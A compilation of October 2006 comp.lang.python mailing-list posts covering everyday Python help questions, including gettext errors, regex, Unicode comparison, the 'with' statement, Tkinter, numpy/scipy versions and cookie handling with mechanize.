<1162028026.501490.93250@m7g2000cwm.googlegroups.com> Martin v. L?wis wrote: > russ.phillips.nospam at googlemail.com schrieb: > > Traceback (most recent call last): > > File "panicbutton.py", line 36, in ? > > lan = gettext.GNUTranslations (open (sLang, "rb")) > > File "C:\Python24\lib\gettext.py", line 177, in __init__ > > self._parse(fp) > > File "C:\Python24\lib\gettext.py", line 280, in _parse > > raise IOError(0, 'File is corrupt', filename) > > IOError: [Errno 0] File is corrupt: 'locale\\fr_FR.mo' > > If it says so, it likely is right. How did you create the file? I only get the "File is corrupt" error when I changed lan = gettext.GNUTranslations (open (sLang)) to lan = gettext.GNUTranslations (open (sLang, "rb")) Without the "rb" in the open () I get a "struct.error : unpack str size does not match format" error (see original post). The .mo files were created using poEdit (www.poedit.org), and I get the same error with various translations, all created by different people. Russ From steveadi at gmail.com Sat Oct 28 04:36:59 2006 From: steveadi at gmail.com (frankie_85) Date: 28 Oct 2006 01:36:59 -0700 Subject: Need help (Basic python)...what did I do wrong? Message-ID: <1162024619.913197.302700@m73g2000cwd.googlegroups.com> Hi everyone, I just made a simple code which is part of my assignment but I can't figure it out what's wrong with it. (always give me error messages) What the code basically does is: a function that takes one floating point number x as its argument and returns (the square root of the absolute value of x) plus (5 times x cubed). and read 5 floating point values from the user into a list then apply the function to each value in the list and print the results in reverse order. -------------------------------------------------------------------------------------------- import math print "Enter 5 values:" a = float(raw_input()) b = float(raw_input()) c = float(raw_input()) d = float(raw_input()) e = float(raw_input()) def funct(a, b, c, d, e): a_1 = math.sqrt(math.fabs(a)) + 5((math.pow(a,3))) b_2 = math.sqrt(math.fabs(b)) + 5((math.pow(b,3))) c_3 = math.sqrt(math.fabs(c)) + 5((math.pow(c,3))) d_4 = math.sqrt(math.fabs(d)) + 5((math.pow(d,3))) e_5 = math.sqrt(math.fabs(e)) + 5((math.pow(e,3))) return a_1 return b_2 return c_3 return d_4 return e_5 print e_5, d_4, c_3, b_2, a_1 funct(a, b, c, d, e) -------------------------------------------------------------------------------------------- it always gives me these error messages: Traceback (most recent call last): File "/Users/x/Documents/test3.py", line 25, in funct(a, b, c, d, e) File "/Users/x/Documents/test3.py", line 11, in funct a_1 = math.sqrt(math.fabs(a)) + 5((math.pow(a,3))) TypeError: 'int' object is not callable What did I do wrong? Please help me Thanks in advance From chrispatton at gmail.com Sat Oct 7 17:30:09 2006 From: chrispatton at gmail.com (Chris) Date: 7 Oct 2006 14:30:09 -0700 Subject: need some regular expression help Message-ID: <1160256609.555007.83170@e3g2000cwe.googlegroups.com> I need a pattern that matches a string that has the same number of '(' as ')': findall( compile('...'), '42^((2x+2)sin(x)) + (log(2)/log(5))' ) = [ '((2x+2)sin(x))', '(log(2)/log(5))' ] Can anybody help me out? Thanks for any help! From apardon at forel.vub.ac.be Thu Oct 5 10:41:08 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 5 Oct 2006 14:41:08 GMT Subject: What value should be passed to make a function use the default argument value? References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xwt7gqwb3.fsf@ruckus.brouhaha.com> <7xac4cpefr.fsf@ruckus.brouhaha.com> <7xhcyk2u1z.fsf@ruckus.brouhaha.com> Message-ID: On 2006-10-04, Fredrik Lundh wrote: > Georg Brandl wrote: > >> This is an issue in most Python documentation: you're not told >> if the described function is implemented in C, and if it is >> keyword arg-enabled. The arguments must be given names though, >> to be able to document them. > > the general rule is that if the documentation doesn't explicitly say > that something is a keyword argument, it isn't, and shouldn't be treated > as such. The first module I looked in to check this, it wasn't true. In the Queue Module is isn't explicitly written that maxsize is a keyword argument yet Queue.Queue(maxsize=9) works just fine. I then took a look in the Threading module and found that the semaphore documentation didn't mention anything about keyword arguments but again they worked fine. It wouldn't surprise me if this was true for the complete threading documentation. -- Antoon Pardon From spe.stani.be at gmail.com Thu Oct 19 20:43:42 2006 From: spe.stani.be at gmail.com (SPE - Stani's Python Editor) Date: 19 Oct 2006 17:43:42 -0700 Subject: SPE for 2.5? In-Reply-To: <1160786472.050255.306850@e3g2000cwe.googlegroups.com> References: <1160786472.050255.306850@e3g2000cwe.googlegroups.com> Message-ID: <1161305022.234398.24840@m7g2000cwm.googlegroups.com> Fuzzyman schreef: > Shame as it is a *very* nice IDE, but it had too many quirks (with > little chance of them being fixed it seemed) to use it for commercial > development at Resolver. I've never head from a company called Resolver. A commercial company can not assume if it picks up a free project that it will get free support comparable to commercial support. If however they would be willing to pay a fair amount for fixing these quirks, they would have not only helped themselves but anyone who uses SPE. No shame, no blame. Stani http://pythonide.stani.be From notejam at sbcglobal.net Mon Oct 30 15:54:32 2006 From: notejam at sbcglobal.net (notejam) Date: 30 Oct 2006 12:54:32 -0800 Subject: Python windows interactive. Message-ID: <1162241672.682830.189240@b28g2000cwb.googlegroups.com> I am trying to get started with a interactive version of Python for windows and need some help. I have played with the tutorial, and now want to write a program. In basic language, I could write something like 10 print "hello" 20 print "Jim" and if I run it I would get hello Jim How do I do sometihing simple like that in python? How do I enter line numbers, or if none, what do I do. Can the interpreter load a text file with my program in it? How do I list a program or the parts of a program I am interested in looking at? How do I run a python program? From jjl at pobox.com Tue Oct 10 13:36:41 2006 From: jjl at pobox.com (John J. Lee) Date: 10 Oct 2006 18:36:41 +0100 Subject: How to share session with IE References: <1160479479.825746.320610@k70g2000cwa.googlegroups.com> <1160480177.704013.37770@k70g2000cwa.googlegroups.com> Message-ID: "Bernard" writes: > zdp wrote: [...] > > However, now I need to process some pages by a python program. When I > > use urllib.urlopen(theurl), I can only get a page which told me I need > > login. I think It's reasonable, becuase I wasn't in a loggined session > > which as IE did. > > > > So how can I do my job? I want to get the right webpage by the url. I > > have search answers from the groups but didn't get clear answer. Should > > I use win32com or urllib? Any reply or information is appreciate. Hope > > I put it clear. > You can do the same thing as IE on your forum using urllib2 and > cookielib. In short you need to code a small webcrawler. I can give you > my browser module if necessary. > You might not have the time to fiddle with the coding part or my > browser module so you can also use this particularly useful module : > http://wwwsearch.sourceforge.net/mechanize/ > The documentation is pretty clear for an initiated python programmer. > If it's not your case, I'd recommend to read some ebooks on the python > language first to get use to it. In particular, if you're following the approach Bernard suggests, you can either: 1. Log in every time your program runs, by going through the sequence of clicks, pages, etc. that you would use in a browser to log in. 2. Once only (or once a month, or whatever), log in by hand using IE with a "Remember me"-style feature (if the website offers that) -- where the webapp asks the browser to save the cookie rather than just keeping it in memory until you close your browser. Then your program can load the cookies from your real browser's cookie store using this: http://wwwsearch.sourceforge.net/mechanize/doc.html#browsers There are other alternatives too, but they depend on knowing a little bit more about how cookies and web apps work, and may or may not work depending on what exactly the server does. I'm thinking specifically here of saving *session* cookies (the kind that usually go away when you close your browser) in a file -- but the server may not like them when you send them back the next time, depending how much time has elapsed since the last run. Of course, you can always detect the "need to login" condition, and react accordingly. John From fulvio at tm.net.my Wed Oct 18 01:37:42 2006 From: fulvio at tm.net.my (Fulvio) Date: Wed, 18 Oct 2006 13:37:42 +0800 Subject: [OT] a little about regex Message-ID: <200610181337.42579.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** Hello, I'm trying to get working an assertion which filter address from some domain but if it's prefixed by '.com'. Even trying to put the result in a negate test I can't get the wanted result. The tought in program term : >>> def filter(adr): ... import re ... allow = re.compile('.*\.my(>|$)') ... deny = re.compile('.*\.com\.my(>|$)') ... cnt = 0 ... if deny.search(adr): cnt += 1 ... if allow.search(adr): cnt += 1 ... return cnt ... >>> filter('some.ads at lazyfox.com.my') 2 >>> filter('some.ads at lazyfox.net.my') 1 >>> Seem that I miss some better regex implementation to avoid that both of the filters taking action. I'm thinking of lookbehind (negative or positive) option, but I think I couldn't realize it yet. I think the compilation should either allow have no '.com' before '.my' or deny should have _only_ '.com' before '.my'. Sorry I don't get the correct sintax to do it. Suggestions are welcome. F From bjobrien62 at gmail.com Sun Oct 8 12:46:23 2006 From: bjobrien62 at gmail.com (SpreadTooThin) Date: 8 Oct 2006 09:46:23 -0700 Subject: operator overloading + - / * = etc... In-Reply-To: References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com> Message-ID: <1160325983.027372.3110@c28g2000cwb.googlegroups.com> Daniel Nogradi wrote: > > Can these operators be overloaded? > > If so. How? > > > > http://www.python.org/doc/ref/numeric-types.html > > HTH, > Daniel Thanks everyone. From JohnRoth1 at jhrothjr.com Mon Oct 16 09:53:33 2006 From: JohnRoth1 at jhrothjr.com (John Roth) Date: 16 Oct 2006 06:53:33 -0700 Subject: comparing Unicode and string In-Reply-To: <1161005167.295259.290800@m7g2000cwm.googlegroups.com> References: <1161005167.295259.290800@m7g2000cwm.googlegroups.com> Message-ID: <1161006813.058331.85660@m7g2000cwm.googlegroups.com> luc.saffre at gmail.com wrote: > Hello, > > here is something that surprises me. > > #coding: iso-8859-1 > s1=u"Frau M?ller machte gro?e Augen" > s2="Frau M?ller machte gro?e Augen" > if s1 == s2: > pass > > Running this code produces a UnicodeDecodeError: > > Traceback (most recent call last): > File "tmp.py", line 4, in ? > if s1 == s2: > UnicodeDecodeError: 'ascii' codec can't decode byte 0xfc in position 6: > ordinal not in range(128) > > I would have expected that "s1 == s2" gives True... or maybe False... > but raising an error here is unnecessary. I guess that the comparison > operator decides to convert s2 to a Unicode but forgets that I said > #coding: iso-8859-1 at the beginning of the file. The #coding declaration is not effective at runtime. It's there strictly to guide the compiler in how to compile byte strings. The default encoding at run time is ascii unless it's been set to something else, which is why the error message specifies ascii. John Roth > > TIA for any comments. > > Luc Saffre From greg at cosc.canterbury.ac.nz Fri Oct 20 20:32:52 2006 From: greg at cosc.canterbury.ac.nz (greg) Date: Sat, 21 Oct 2006 13:32:52 +1300 Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: <7xac3ra6wg.fsf@ruckus.brouhaha.com> References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> <7xac3ra6wg.fsf@ruckus.brouhaha.com> Message-ID: <45396AB4.60502@cosc.canterbury.ac.nz> Paul Rubin wrote: > I have yet to see a gui toolkit which doesn't suck. I'm not sure why > that is. Have you seen PyGUI? It's my attempt at creating a GUI toolkit for Python that doesn't suck. I'd be interested to know if you think I've come anywhere near to succeeding. http://www.cosc.canterbury.ac.nz/greg.ewing/python_gui/ -- Greg From steve at holdenweb.com Tue Oct 3 08:10:20 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 03 Oct 2006 13:10:20 +0100 Subject: Artificial Mind - Part One - Basic Architecture and Cognitive Structure is now available In-Reply-To: <1159871200.703771.144210@c28g2000cwb.googlegroups.com> References: <1159871200.703771.144210@c28g2000cwb.googlegroups.com> Message-ID: <4522532C.8000101@holdenweb.com> tommak wrote: > It's a dream of human beings to build machines that can think and > behave like human beings. The most important part of of such a machine > is an artificial mind that can emulate the cognitive processing of > human mind. > > This book, "Next Generation Artificial Intelligence, Artificial Mind - > Part One - Basic Architecture and Cognitive Structure" introduces a > basic artificial mind architecture and computational model for > cognitive processing. Inside the book, three important cognitive > process modeling components, mental objects network (MON), > associative-learning mechanisms and a concept formation principle are > introduced. Based on the architecture and the computational model, one > can develop his own model of artificial mind according to his own > specific requirements. > > The first edition of Artificial Mind - Part One is now available for > purchase from the author's personal web site. The price of the e-book > is USD7.00 (seven US dollars). An evaluation edition of this e-book is > also available for download from the web site. > > The author's personal web site: > http://www.geocities.com/tomwingmak/ > I'm afraid you'll have to do a bit better than this feeble spam to persuade us that it wasn't written by the author of the work in question. regards Steve PS "Python Web Programming" is still available through all good bookstores ;) -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From deets at nospam.web.de Tue Oct 10 04:39:00 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Tue, 10 Oct 2006 10:39:00 +0200 Subject: Python component model In-Reply-To: <7xlknotwuy.fsf@ruckus.brouhaha.com> References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> <1160467516.602655.169920@c28g2000cwb.googlegroups.com> <7xlknotwuy.fsf@ruckus.brouhaha.com> Message-ID: <4p14h4Fgk9jaU1@uni-berlin.de> Paul Rubin schrieb: > "Nick Vatamaniuc" writes: >> Python does not _need_ a component model just as you don't _need_ a RAD >> IDE tool to write Python code. The reason for having a component model >> or a RAD IDE tool is to avoid writing a lot of boiler plate code. > > It's also so that applications written in differing languages can call > each other. Nope. Things like CORBA and COM do have that property, but e.g. the Java beans spec has only a meaning inside the VM. Not sure about .NET, but I can imagine there it's the same thing. All the languages he mentioned are statically typed, or the component models themselves are. So the component model is basically needed (as others also mentioned) to glue things together, to dynamize that - whereas python is dynamic on the first hand, and actually lacks static typing to infer component properties... Diez From bignose+hates-spam at benfinney.id.au Wed Oct 18 06:39:25 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Wed, 18 Oct 2006 20:39:25 +1000 Subject: python's OOP question References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com> <1160965758.324644.131920@i42g2000cwa.googlegroups.com> <1160969393.803021.274070@e3g2000cwe.googlegroups.com> <45334fa9$0$5656$426a74cc@news.free.fr> <1160991239.541020.115320@m7g2000cwm.googlegroups.com> <453382b6$0$8601$426a74cc@news.free.fr> <1161054047.278803.241040@h48g2000cwc.googlegroups.com> <4534a656$0$19612$426a74cc@news.free.fr> <1161159733.014074.107040@h48g2000cwc.googlegroups.com> Message-ID: <87r6x5zz4y.fsf@benfinney.id.au> "neoedmund" writes: > Bruno Desthuilliers wrote: > > neoedmund wrote: > > > in real life, a class is not defined so well that any method is > > > needed by sub-class. > > > > Then perhaps is it time to refactor. A class should be a highly > > cohesive unit. If you find yourself needing only a specific subset > > of a class, it may be time to extract this subset in it's own > > class. > > I donnot agree with your "it's time to refactory" very much, man has > probly never has time to do such things. I respectfully suggest that the *reason* you find yourself with little time to refactor is probably related to the fact that you *need* to refactor. If your code is crufty and poorly-designed, it is costing you every time you need to maintain it. Would it help if we called it "preventative maintenance"? -- \ "I bought a dog the other day. I named him Stay. It's fun to | `\ call him. 'Come here, Stay! Come here, Stay!' He went insane. | _o__) Now he just ignores me and keeps typing." -- Steven Wright | Ben Finney From paul at boddie.org.uk Fri Oct 6 06:02:02 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 6 Oct 2006 03:02:02 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <1159875634.285633.226980@k70g2000cwa.googlegroups.com> <1159878794.430315.38920@i3g2000cwc.googlegroups.com> <1160088935.394103.285320@e3g2000cwe.googlegroups.com> Message-ID: <1160128922.301756.47210@h48g2000cwc.googlegroups.com> Ian Bicking wrote: > > It handles some other kinds of repositories now (bzr, I think?). From > what I understand fully abstracting out the repository format seems to > still be a work in progress, but it is in progress and you can write > repository plugins right now. That covers Trac, but other projects probably need to get up to speed with providing similar functionality, too. This is another case where people should work together rather than developing an interoperability layer specific to their own project. Certainly, the Bazaar APIs looked like some kind of promising umbrella project for that kind of thing. > Trac now includes a WSGI backend, and someone has written a WSGI > backend for ViewVC (though I don't know if it is included with the > project). > > Clearly you need to get on the WSGI bandwagon ;) Hey, WebStack supports WSGI, too, you know. ;-) Paul From oliphant.travis at ieee.org Sun Oct 29 02:56:41 2006 From: oliphant.travis at ieee.org (Travis E. Oliphant) Date: Sun, 29 Oct 2006 01:56:41 -0600 Subject: latest numpy & scipy - incompatible ? In-Reply-To: References: Message-ID: robert wrote: > I'm using latest numpy & scipy. What is this problem ? : > >>>> import scipy.stats > RuntimeError: module compiled against version 1000002 of C-API but this version of numpy is 1000009 > Traceback (most recent call last): > File "", line 1, in ? > File "C:\PYTHON23\Lib\site-packages\scipy\stats\__init__.py", line 7, in ? > from stats import * > File "C:\PYTHON23\Lib\site-packages\scipy\stats\stats.py", line 191, in ? > import scipy.special as special > File "C:\PYTHON23\Lib\site-packages\scipy\special\__init__.py", line 8, in ? > from basic import * > File "C:\PYTHON23\Lib\site-packages\scipy\special\basic.py", line 8, in ? > from _cephes import * > ImportError: numpy.core.multiarray failed to import >>>> import numpy.core.multiarray >>>> >>>> import scipy >>>> scipy.__version__ > '0.5.1' >>>> numpy.__version__ > '1.0' Download the 1.0rc2 binary until SciPy 0.5.2 which should be out in a few days. If you can recompile, SciPy yourself, then it will work fine with 1.0 -Travis From scott.daniels at acm.org Thu Oct 12 15:18:56 2006 From: scott.daniels at acm.org (Scott David Daniels) Date: Thu, 12 Oct 2006 12:18:56 -0700 Subject: prefix search on a large file In-Reply-To: References: <1160647737.312386.37800@c28g2000cwb.googlegroups.com> Message-ID: <452e8cf5$1@nntp0.pdx.net> Try: def leaders(sorted_list): held = None for phrase in held: if held is None or not phrase.startswith(held): held = row yield held print list(leaders(sorted(data))) --Scott David Daniels scott.daniels at acm.org From blktiger at gmail.com Wed Oct 4 22:39:18 2006 From: blktiger at gmail.com (Blacktiger) Date: Wed, 4 Oct 2006 21:39:18 -0500 Subject: Block Structure Parsing Message-ID: Hi all, I'm new to this list because I had a question about parsing python block structure. I am taking a programming languages course this semester and for our final project we are writing an interperator in scheme(awful language) for whatever language that we want. The language that I want to do is one I have been designing for a little while and it shares some syntactic features of Python; most notably the block structure. We are using SLLGEN which is able to parse LL(1) grammars and its lexical scanner can parse regular expressions. I can't seem to think of a way to put this kind of block structure into a regualr expression so I am currently thinking of writing my own scanner to replace blocks with indent/dedent tokens before calling SLLGEN. Thanks in adv, Michael Martz -- Concentrate on the solution, not the problem. http://www.ku.edu/~fencing From bugracakir at gmail.com Mon Oct 30 06:47:14 2006 From: bugracakir at gmail.com (Bugra Cakir) Date: Mon, 30 Oct 2006 13:47:14 +0200 Subject: MemoryError Message-ID: <5a00f6240610300347k31de6ae8qc89e48fba98e50a1@mail.gmail.com> Hi, I have found a "MemoryError" exception in my program. How can i output Python interpreter log or how can i find the root cause of this "MemoryError" exception ? Thank you. -------------- next part -------------- An HTML attachment was scrubbed... URL: From icebergwtf at yahoo.com.cn Mon Oct 30 20:49:18 2006 From: icebergwtf at yahoo.com.cn (Tiefeng Wu) Date: Tue, 31 Oct 2006 09:49:18 +0800 (CST) Subject: Python windows interactive. Message-ID: <20061031014918.66532.qmail@web15006.mail.cnb.yahoo.com> > notejam wrote: > Thanks everyone for the help. I got a simple two line program to work > from a text file. > Can not figure out how to write more than one line in interpreter mode. > Is that all interpreter is good for, testing one liners? I have it > run the program everytime I hit return, and can not figure out how to > enter multiple lines of code. I can do multiple lines in text file, so > no problem, but I am jsut wondering can a program with 2 or more lines > be wrote from the interpreter mode? I think for this purpose you can just define a function, like this: >>> def test(): ... print "Hello" ... print "World" ... >>> test() "Hello" "World" >>> ___________________________________________________________ ??????-3.5G???20M?? http://cn.mail.yahoo.com/ From pecora at anvil.nrl.navy.mil Tue Oct 17 16:22:44 2006 From: pecora at anvil.nrl.navy.mil (Lou Pecora) Date: Tue, 17 Oct 2006 16:22:44 -0400 Subject: pylab package dependencies References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com> Message-ID: In article , Robert Kern wrote: > Lou Pecora wrote: > > > The only problem I'm having is getting ipython to run. Not installed in > > /usr/local/bin (although all other IPython files look to be installed in > > /Library/Framewaorks/python..blah/site-packages). I'm still searching > > the web sites for answers. > > Create a file ~/.pydistutils.cfg with the following section (unindented): > > [install] > install-scripts=/usr/local/bin > > Now install ipython again, and the ipython script should be installed to > /usr/local/bin/. You may need to be root to do so. > > For more information on that configuration file: > > http://docs.python.org/inst/config-syntax.html I assume you are telling me to install ipython from a tar distribution using setup etc. I originally installed it from the SciPy Super Pack which apparently put in the site packages, but neglected the script in /usr/local/bin. Sound right? On the ipython web site for MacOS X it says to do the following after the install using python setup.py etc. in the extracted directories, python?setup.py?install_scripts?--install-dir=/usr/local/bin Is that what you are suggesting with the pydistutils.cfg ? Sorry, if I'm dense on this, but I only partially grok the command line install. Thanks for any help. -- Lou Pecora (my views are my own) REMOVE THIS to email me. From 3dbernard at gmail.com Thu Oct 19 17:38:20 2006 From: 3dbernard at gmail.com (Bernard Lebel) Date: Thu, 19 Oct 2006 17:38:20 -0400 Subject: Restricting import file lookup for pyd, dll, ... Message-ID: <61d0e2b40610191438w9ba0693y8896bebc3441069a@mail.gmail.com> Hello, Running Python 2.4.0 on Windows. I have run a series of tests using Filemon (SysInternals), which logs the file system requests performed by the computer. By default, when I import a module in Python, Python looks for pyd, dll, py, then pyw and finally pyc file. In our company we do not use pyd and dll for Python stuff. Is there any chance to disable Python from looking at these? Perhaps a flag we can change in Python? Or would it be doable by recompiling the sources? Any advice is welcomed Bernard From larry at hastings.org Thu Oct 5 18:31:20 2006 From: larry at hastings.org (Larry Hastings) Date: 5 Oct 2006 15:31:20 -0700 Subject: PATCH: Speed up direct string concatenation by 20+%! References: <1159495643.213830.289620@m7g2000cwm.googlegroups.com> <451CD389.3010800@jessikat.plus.net> <1159540482.924744.164420@k70g2000cwa.googlegroups.com> <1160016111.443659.3860@k70g2000cwa.googlegroups.com> Message-ID: <1160087480.043155.194790@i3g2000cwc.googlegroups.com> Nicko wrote: > I note that in both of those tests you didn't actually ever realise the > concatenated string. Can you give us figures for these tests having > forced the concatenated string to be computed? Sure, good call. And bad news. All these benchmarks were with functions taking N arguments that just added (concatenated) the arguments and returned the result. I only ran each benchmark once. | Python 2.5 | Python 2.5 arguments | release | concat -------------+--------------+-------------- 2 | 7718ms | 9078ms 3 | 9203ms | 10500ms 4 | 10656ms | 11656ms 5 | 12156ms | 13390ms 20 | 29359ms | 26703ms Interpret as you see fit, /larry/ From jstroud at mbi.ucla.edu Mon Oct 9 17:19:02 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Mon, 09 Oct 2006 21:19:02 GMT Subject: Tkinter: Making a window disappear In-Reply-To: <1160384553.312778.275170@b28g2000cwb.googlegroups.com> References: <1160384553.312778.275170@b28g2000cwb.googlegroups.com> Message-ID: Claus Tondering wrote: > I am trying to make a Tkinter main window appear and disappear, but I > have problems with that. > > Here is a small code sample: > > class MyDialog(Frame): > def __init__(self): > Frame.__init__(self, None) > Label(self, text="Hello").pack() > Button(self, text="OK", command=self.ok).pack() > self.grid() > > def ok(self): > self.destroy() > self.quit() > > MyDialog().mainloop() > print "Now waiting 5 seconds" > time.sleep(5) > MyDialog().mainloop() > > The first mainloop() shows the dialog nicely, and I press the "OK" > button. The system then sleeps for 5 seconds, and a new dialog is > displayed. This is all very nice. > > But during the 5 seconds of sleeping, remnants of the old window are > still visible. It is not redrawn, but it just lies there as an ugly box > on the display. I thought that destroy()/quit() would completely remove > the window, but obviously I am wrong. > > What should I do instead? > > -- > Claus Tondering > Maybe think about using the Toplevel.withdraw() method. This way you don't have to re-instantiate your window every time. This is the technique used by the PMW library. Use deiconify() to get it back. James -- James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From barakad at gmail.com Sun Oct 1 13:18:59 2006 From: barakad at gmail.com (barakad at gmail.com) Date: 1 Oct 2006 10:18:59 -0700 Subject: How can I correct an error in an old post? Message-ID: <1159723139.638984.293300@h48g2000cwc.googlegroups.com> Hi. I was searching for some information regarding a problem and found an interesting post that includes an answer to the problem; thought the post is very helpful it is based on a wrong assumption and thus the solution it suggests is incorrect. It took me some time to understand that the suggested solution is wrong and to find the correct solution and I wish to add my findings to the post, to prevent others from taking the wrong path. When I tried to replay to the post I received a reject message stating that it is impossible to replay to the topic since it is old and was closed by a manager. The question is how can I add this correction? Thanks. From geskerrett at hotmail.com Mon Oct 23 12:06:46 2006 From: geskerrett at hotmail.com (geskerrett at hotmail.com) Date: 23 Oct 2006 09:06:46 -0700 Subject: FreeImagePy creating thumbnails from TIFF Message-ID: <1161619606.141497.117030@k70g2000cwa.googlegroups.com> I a trying to create a series of thumbnail images from a multpage TIFF file. The sample code is below. When it executes, we get the following error; FreeImagePy.constants.FreeImagePy_ColorWrong: 'Wrong color 1 in function: FreeImage_MakeThumbnail. I can use: (8, 24, 32)' Any suggestions? fname = "01-PJ2306.tif" img = FIPY.Image() img.load(fname) #NOTE: the follow method results" #getFormat: ((18, 0), ('TIFF', 'MINISWHITE'), (200, 200)) #getColorUsed: 2 #getNumPages: 8 for pg in range(img.getNumPages()): print 'page;',pg bmp = FIPY.Image() bmp.new((300,300),fileType=FIF_TIFF) bmp.setBitmap(img) bmp.thumbnail(300,convert=True) bmp.save("first_thumb_"+str(pg), FIF_PNG) img.setCurrentPage(pg+1) del bmp Using the above "img" we were able to successfully create the seperate pages as PNG files in a working directory, however, our goal is to use to display a series of thumbnails in a wxpython application. The app will stored references back to the orginal document with the correspondng page number. Essentially we want to avoid having to "cleanup" a working directory of the PNG pages. ... but if someone has suggestions on this, we are interested too ! Thanks in avance. From usenet-mail-0306.20.chr0n0ss at spamgourmet.com Tue Oct 10 08:36:38 2006 From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann) Date: Tue, 10 Oct 2006 14:36:38 +0200 Subject: Dive Into Java? References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <4ov4ekFg823lU1@uni-berlin.de> <4ovcbvFgc2nlU1@individual.net> <1160451192.177874.122180@m73g2000cwd.googlegroups.com> Message-ID: <4p1iemFgr6mpU1@individual.net> Dan Bishop wrote: > On Oct 9, 11:40 am, Bjoern Schliessmann >> String eggs = new String(); >> >> The latter seems totally unnecessary to me, as well as being too >> verbose > It is! All you have to write is > > String eggs = ""; > > Unfortunately, the other object types don't have literals. LOL. Sun likes their own String objects more than their principles, don't they? :) > Can't be, because Java already uses the syntax for something > different than C++. Ah, know what you mean (empty reference). That seems weird to me too, altogether. This syntax break compared to basic types makes it all most unaesthetic. Regards, Bj?rn -- BOFH excuse #248: Too much radiation coming from the soil. From robert.kern at gmail.com Mon Oct 23 12:16:40 2006 From: robert.kern at gmail.com (Robert Kern) Date: Mon, 23 Oct 2006 11:16:40 -0500 Subject: Set operations in Numeric In-Reply-To: <1161617351.740540.37590@b28g2000cwb.googlegroups.com> References: <1161617351.740540.37590@b28g2000cwb.googlegroups.com> Message-ID: George Sakkis wrote: > Is there a way to handle numeric (or numarray or numpy) arrays as sets > and compute efficiently their intersection, union, etc. ? I hope there > is a faster way than s = array(set(A) & set(B)). Can this be done with > masked arrays maybe ? I've never used them though and browsing through > the docs didn't make clear if it is possible. You'll probably want to ask such questions on the numpy list: http://www.scipy.org/Mailing_Lists Robert Cimrman has implemented a number of set operations based on sorting. http://svn.scipy.org/svn/scipy/trunk/Lib/sandbox/arraysetops/arraysetops.py -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From fredrik at pythonware.com Thu Oct 26 16:08:39 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 26 Oct 2006 22:08:39 +0200 Subject: which one of these is better? In-Reply-To: References: Message-ID: John Salerno wrote: >> Not sure about the with-- I just went to read the PEP on it, and it >> confused me greatly. :-) So, I don't know. > > Ditto. :) No need to be confused; the "with" statement is actually very simple. Consider this piece of code: set things up try: do something finally: tear things down If you do this a lot, it would quite convenient if you could put the "set things up" and "tear things down" code in a library function, so you could reuse it. You can of course do something like def controlled_execution(callback): set things up try: callback(thing) finally: tear things down def my_function(thing): do something controlled_execution(my_function) but that's a bit verbose, especially if you need to modify local variables. Another approach is to use a one-shot generator, and abuse the for-in statement: def controlled_execution(): set things up try: yield thing finally: tear things down for thing in controlled_execution(): do something with thing but this looks a bit weird, and doesn't even work in 2.4 and earlier. So after contemplating a number of alternatives, GvR finally came up with a generalization of the latter, using an object instead of a generator to control the behaviour of an external piece of code: class controlled_execution: def __enter__(self): set things up return thing def __exit__(self, type, value, traceback): tear things down with controlled_execution() as variable: some code When the "with" statement is executed, Python evaluates the expression, calls the __enter__ method on the resulting value (which is called a "context guard"), and assigns whatever __enter__ returns to the given variable. Python will then execute the code body, and *no matter what happens in that code*, call the guard object's __exit__ method. For extra bonus, the __exit__ method can look at the exception, if any, and suppress or modify it, if necessary. For example, the following __exit__ method swallows any TypeError, but lets all other exceptions through: def __exit__(self, type, value, traceback): return isinstance(value, TypeError) In Python 2.5, the file object has been equipped with __enter__ and __exit__ methods; the former simply returns the file object itself, and the latter closes the file: >>> f = open("x.txt") >>> f >>> f.__enter__() >>> f.read(1) 'X' >>> f.__exit__(None, None, None) >>> f.read(1) Traceback (most recent call last): File "", line 1, in ValueError: I/O operation on closed file This wasn't very difficult, was it? From sonaldgr8 at gmail.com Fri Oct 20 04:45:49 2006 From: sonaldgr8 at gmail.com (sonald) Date: 20 Oct 2006 01:45:49 -0700 Subject: Unicode support in python Message-ID: <1161333949.746819.253500@m7g2000cwm.googlegroups.com> Hi, I am using python2.4.1 I need to pass russian text into python and validate the same. Can u plz guide me on how to make my existing code support the russian text. Is there any module that can be used for unicode support in python? Incase of decimal numbers, how to handle "comma as a decimal point" within a number Currently the existing code is woking fine for English text Please help. Thanks in advance. regards sonal From f.braennstroem at gmx.de Sat Oct 28 11:29:44 2006 From: f.braennstroem at gmx.de (Fabian Braennstroem) Date: Sat, 28 Oct 2006 17:29:44 +0200 Subject: change keybindings for pygtk treeview References: Message-ID: Hi, * Fabian Braennstroem wrote: > Hi, > > I am just testing pygtk/glade out and wonder, if I am able > to change the keybindings. E.g. the treeview searches by > default for the entries beginning with the typed keystroke; > moving to the next row works as usual with the Down key. Now > I would like to change the key bindings to e.g. 'j' to move > to the next row (just like in vim) and to use a 'Ctrl' key > combination to search for a certain word beginning with the > typed key stroke. I just found out, that I am able to turn it of with 